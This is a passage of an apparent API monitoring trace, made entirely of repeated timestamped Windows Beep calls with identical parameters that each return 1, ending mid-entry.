[0255.380] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.396] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.411] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.412] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.413] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.430] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.445] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.460] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.461] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.462] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.478] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.494] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.509] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.511] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.512] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.513] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.514] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.515] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.516] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.517] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.518] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.519] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.535] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.550] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.566] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.582] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.582] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.583] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.599] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.615] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.630] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.631] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.632] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.648] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.664] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.679] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.681] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.681] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.697] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.712] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.728] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.729] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.730] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.746] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.761] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.762] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.764] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.765] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.766] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.767] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.768] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.769] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.770] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.772] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.787] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.803] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.819] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.820] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.821] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.822] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.823] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.824] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.825] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.826] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.827] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.843] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.859] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.875] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.876] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.877] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.879] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.880] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.881] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.882] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.883] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.885] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.900] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.916] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.932] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.932] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.933] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.949] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.965] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.981] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.982] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0255.982] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.003] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.014] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.029] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.030] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.031] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.032] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.033] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.034] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.035] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.036] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.038] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.038] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.039] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.055] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.071] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.086] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.087] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.200] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.213] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.275] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.311] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.337] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.354] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.369] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.384] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.401] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.402] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.418] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.433] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.449] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.464] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.466] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.482] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.498] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.513] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.515] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.531] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.547] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.564] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.581] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.599] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.617] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.621] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.649] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.656] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.669] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.687] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.690] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.693] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.694] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.711] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.735] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.743] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.785] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.792] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.823] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.847] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.854] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.878] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.900] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.904] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.919] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.922] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.940] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.963] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.974] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0256.991] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.017] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.034] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.051] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.053] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.055] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.057] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.057] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.060] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.076] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.098] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.106] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.130] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.149] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.157] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.180] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.203] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.205] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.223] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.239] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.265] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.272] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.303] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.308] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.313] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.332] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.347] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.364] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.382] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.387] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.434] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.592] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.592] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.594] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.595] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.595] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.597] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.598] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.599] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.600] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.600] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.602] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.602] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.604] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.605] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.605] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.607] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.608] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.609] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.610] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.610] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.611] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.612] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.613] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.614] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.615] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.617] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.618] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.618] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.620] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.620] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.622] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.622] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.624] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.625] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.625] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.627] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.628] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.629] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.647] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.661] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.676] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.693] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.694] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.710] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.725] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.741] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.757] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.758] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.774] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.790] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.805] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.807] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.808] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.810] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.811] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.812] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.813] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.814] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.815] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.816] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.833] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.847] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.863] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.879] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.879] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.881] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.896] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.912] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.928] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.930] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.931] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.932] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.933] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.934] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.940] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.961] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0257.973] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.010] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.016] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.031] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.047] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.062] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.063] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.064] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.080] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.095] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.111] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.112] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.113] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.128] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.144] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.160] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.161] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.162] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.164] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.165] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.166] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.167] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.168] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.169] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.170] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.185] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.201] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.217] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.224] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.224] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.225] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.227] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.227] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.228] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.229] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.230] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.231] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.232] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.233] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.234] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.235] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.237] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.237] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.238] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.239] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.240] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.241] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.242] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.243] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.252] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.252] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.254] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.254] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.256] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.257] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.257] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.258] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.259] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.260] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.261] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.262] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.263] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.264] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.266] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.266] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.267] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.268] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.269] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.271] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.271] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.272] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.273] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.274] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.276] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.277] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.278] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.279] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.280] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.281] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.282] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.283] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.284] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.286] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.287] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.288] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.289] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.290] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.291] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.292] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.293] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.294] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.296] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.296] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.297] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.298] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.299] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.300] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.302] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.303] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.304] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.306] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.306] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.307] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.308] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.309] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.310] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.311] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.312] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.313] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.314] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.316] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.316] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.317] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.318] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.319] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.320] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.321] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.322] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.323] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.325] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.327] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.330] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.331] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.332] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.333] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.334] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.335] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.336] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.337] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.338] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.339] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.340] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.342] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.342] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.343] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.344] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.345] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.346] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.348] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.348] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.349] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.350] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.351] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.352] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.353] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.354] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.355] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.356] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.357] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.358] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.359] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.360] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.361] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.362] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.363] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0258.364] Beep 